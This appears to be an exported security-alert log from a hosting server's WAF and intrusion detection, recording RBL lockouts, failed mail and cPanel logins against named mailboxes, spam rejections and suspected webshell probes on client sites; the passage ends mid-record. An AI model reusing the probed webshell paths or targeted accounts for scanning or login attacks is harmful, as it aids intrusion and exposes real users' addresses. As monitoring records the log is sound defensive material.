name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 05:11:16 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.55.123.161
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/Event/FilterControllerArgumentsEvent.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 198.44.137.54
country_id: 6252001
description:
198.44.137.54 - - [27/Jan/2026:05:12:19 +0800] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116909&pdata=http%253A%252F%252Fa-connect.global%253A2095%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1769461933 HTTP/1.1" 302 0 a-connect.global "http://a-connect.global:2095/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:198.44.137.54


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.206.122.250
country_id: 1269750
description:
Jan 27 05:15:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.206.122.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.206.122.250
country_id: 1269750
description:
2026-01-27 05:15:46 dovecot_plain authenticator failed for H=(8wvcn0fbg4sst4dlwr2qj7i9) [117.206.122.250]:47897: 535 Incorrect authentication data (set_id=fadilah@pspoly.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 101.53.237.159
country_id: 1168579
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/press-details.php?id=949056 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 218.16.62.204
country_id: 1814991
description:
2026-01-27 05:18:02 H=([218.16.62.204]) [218.16.62.204]:49765 F=<GlacierFamilyofBanks@gllacierbancorp.com> rejected RCPT <inquiries@ktlog.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.248.188.227
country_id: 192950
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/dicts_cat/05_books/books/books_005/images/logo_reward5.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.178.27.180
country_id: 2510769
description:
Jan 27 05:20:36 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.178.27.180 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.10.213.233
country_id: 3469034
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/dicts_cat/05_books/books/books_005/images/homeabout.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.158.97.67
country_id: 3469034
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/dicts_cat/05_books/books/books_005/images/sirim.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 98.97.134.228
country_id: 3865483
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/dicts_cat/05_books/books/books_005/images/logo_reward4.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.24.243.66
country_id: 1562822
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/dicts_cat/05_books/books/books_005/images/cat2.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.155.63.30
country_id: 1168579
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/dicts_cat/05_books/books/books_005/images/fkr_photo_product.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.0.246.155
country_id: 3469034
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/dicts_cat/05_books/books/books_005/images/resource/product2.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.181.57.130
country_id: 3469034
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/dicts_cat/05_books/books/books_005/images/cat3.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.61.10
country_id: 953987
description:
Jan 27 05:20:22 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.61.10 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.227.21.162
country_id: 3585968
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/dicts_cat/05_books/books/books_005/images/logo_reward6.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.168.157.235
country_id: 3865483
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/dicts_cat/05_books/books/books_005/images/cat1.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.7.209.31
country_id: 3469034
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/dicts_cat/05_books/books/books_005/images/logo_reward2.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.76.168.236
country_id: 2542007
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/dicts_cat/05_books/books/books_005/images/logo_reward1.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 4.151.132.175
country_id: 6252001
domain: nexuscollection.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/144.0.0.0 Safari/537.36||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.165
country_id: 298795
description:
Jan 27 05:21:56 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.165
country_id: 298795
description:
Jan 27 05:22:03 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.14
country_id: 2750405
description:
Jan 27 05:25:16 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.14 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 218.16.62.204
country_id: 1814991
description:
2026-01-27 05:26:21 H=([218.16.62.204]) [218.16.62.204]:59666 F=<GlacierFamilyofBanks@gllacierbancorp.com> rejected RCPT <marylinkoh@ktlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.190.79.237
country_id: 3469034
description:
Jan 27 05:26:53 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.190.79.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.190.79.237
country_id: 3469034
description:
Jan 27 05:27:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.190.79.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.211.100.92
country_id: 3469034
description:
Jan 27 05:27:28 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.211.100.92 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.165.125.212
country_id: 690791
description:
2026-01-27 05:28:57 dovecot_plain authenticator failed for H=(nonisubsle) [178.165.125.212]:55499: 535 Incorrect authentication data (set_id=info@mymetal.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.236.172.158
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phpoffice/phpexcel/Examples/templates/32readwriteStockChart1.xlsx HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.237.122
country_id: 1269750
description:
Jan 27 05:41:51 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.237.122 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.132
country_id: 1880251
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/themes/bishop/fonts/fontawesome/fontawesome-webfont5b62.woff2?v=4.6.3 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.182
country_id: 1880251
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/themes/bishop/fonts/biotif-regular-webfont.woff2 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.180
country_id: 1880251
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/themes/bishop/fonts/biotif-bold-webfont.woff2 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.162.193.4
country_id: 3996063
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/the-face-suite-hotel.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.248
country_id: 1880251
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/themes/bishop/css/style.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.140
country_id: 1880251
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/themes/bishop/css/all.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.72.64.32
country_id: 6252001
description:
Jan 27 05:44:26 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.72.64.32 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.178.120.157
country_id: 1831722
description:
[2026-01-27 05:47:05 +0800] info [cpaneld] 202.178.120.157 - kik! "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/home/team.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.19
country_id: 2750405
description:
Jan 27 05:48:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 05:50:32 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.18
country_id: 2750405
description:
Jan 27 05:56:32 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.30
country_id: 732800
description:
Jan 27 05:59:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.30 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.29.78
country_id: 798544
description:
Jan 27 06:03:49 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.29.78 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.29.78
country_id: 798544
description:
Jan 27 06:04:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.29.78 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 06:06:56 H=([45.144.212.242]) [45.144.212.242]:54501 F=<no_reply@admin.com> rejected RCPT <enquiry@symphony-led.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.156.158
country_id: 241170
description:
Jan 27 06:06:49 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.156.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.208.156.158
country_id: 241170
description:
2026-01-27 06:06:51 dovecot_login authenticator failed for H=(ADMIN) [185.208.156.158]:45310: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.144
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/vendor/font-awesome/webfonts/fa-brands-400.woff2 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.129
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/css/skins/default.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.149
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/vendor/bootstrap/css/bootstrap.min.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.132
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/vendor/owl.carousel/assets/owl.carousel.min.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.130
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/vendor/linear-icons/css/linear-icons.min.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.134
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/vendor/font-awesome/css/fontawesome-all.min.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.139
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/vendor/magnific-popup/magnific-popup.min.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.150
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/vendor/font-awesome/webfonts/fa-solid-900.woff2 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.99.72.224
country_id: 3658394
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/product-detail.php?id=894440 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.154
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/css/custom.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/vendor/animate/animate.min.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.156
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/vendor/owl.carousel/assets/owl.theme.default.min.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 06:11:09 H=([45.144.212.242]) [45.144.212.242]:51769 F=<no_reply@admin.com> rejected RCPT <info@mkmetal.com.my>: Sender verify failed


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.39.207.3
country_id: 390903
description:
2026-01-27  6:13:42 787835 [Warning] Aborted connection 787835 to db: 'unconnected' user: 'unauthenticated' host: '185.39.207.3' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.234.138.213
country_id: 690791
description:
Jan 27 06:14:45 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.234.138.213 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.57.69.227
country_id: 690791
description:
Jan 27 06:14:18 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.57.69.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-01-27 06:14:20 dovecot_login authenticator failed for H=(227.69.57.37.triolan.net) [37.57.69.227]:52443: 535 Incorrect authentication data (set_id=hr@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.97
country_id: 3175395
description:
Jan 27 06:14:23 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.97 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.234.138.213
country_id: 690791
description:
Jan 27 06:15:00 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.234.138.213 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 06:20:33 H=([45.144.212.242]) [45.144.212.242]:64117 F=<lynnied@mhtc.net> rejected RCPT <zainuddin@astlog.com.my>: No Such User Here


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/es/img/photos/about.php||SC:/home/indfinitydesign/public_html/es||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.38
country_id: 3175395
description:
Jan 27 06:26:29 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.237.58.108
country_id: 1269750
description:
Jan 27 06:28:49 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.237.58.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.237.58.108
country_id: 1269750
description:
Jan 27 06:29:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.237.58.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 06:30:22 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.231.94.111
country_id: 1861060
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/img/photos/7402250532.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.126.96.243
country_id: 3437598
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/ HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.57.139
country_id: 953987
description:
Jan 27 06:41:59 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.57.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.100.240
country_id: 2921044
description:
Jan 27 06:44:49 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.100.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.100.240
country_id: 2921044
description:
Jan 27 06:45:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.100.240 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 06:50:29 H=([45.144.212.242]) [45.144.212.242]:52844 F=<no_reply@admin.com> rejected RCPT <sales@chs.com.my>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 06:52:43 H=([45.144.212.242]) [45.144.212.242]:62949 F=<no_reply@admin.com> rejected RCPT <info@pspoly.com.my>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 06:56:14 H=([45.144.212.242]) [45.144.212.242]:60568 F=<no_reply@admin.com> rejected RCPT <info@pftfood.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.63.138.70
country_id: 3469034
description:
Jan 27 06:57:23 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.63.138.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 06:57:51 H=([45.144.212.242]) [45.144.212.242]:54853 F=<no_reply@admin.com> rejected RCPT <support@langkawiconstructions.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.195.135.10
country_id: 357994
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/img/photos/842986.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.249.148.115
country_id: 3469034
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/img/photos/518128.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.194.151.245
country_id: 3469034
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/img/photos/594567.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.26.175.75
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/DependencyInjection/ControllerArgumentValueResolverPass.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.173.254.213
country_id: 1562822
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/img/photos/463631.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.183.203.15
country_id: 3865483
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/img/photos/926526.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 07:11:48 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 07:12:41 H=([45.144.212.242]) [45.144.212.242]:64502 F=<no_reply@admin.com> rejected RCPT <info@sutsb.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.19.123.94
country_id: 3865483
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/File/UploadedFile.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
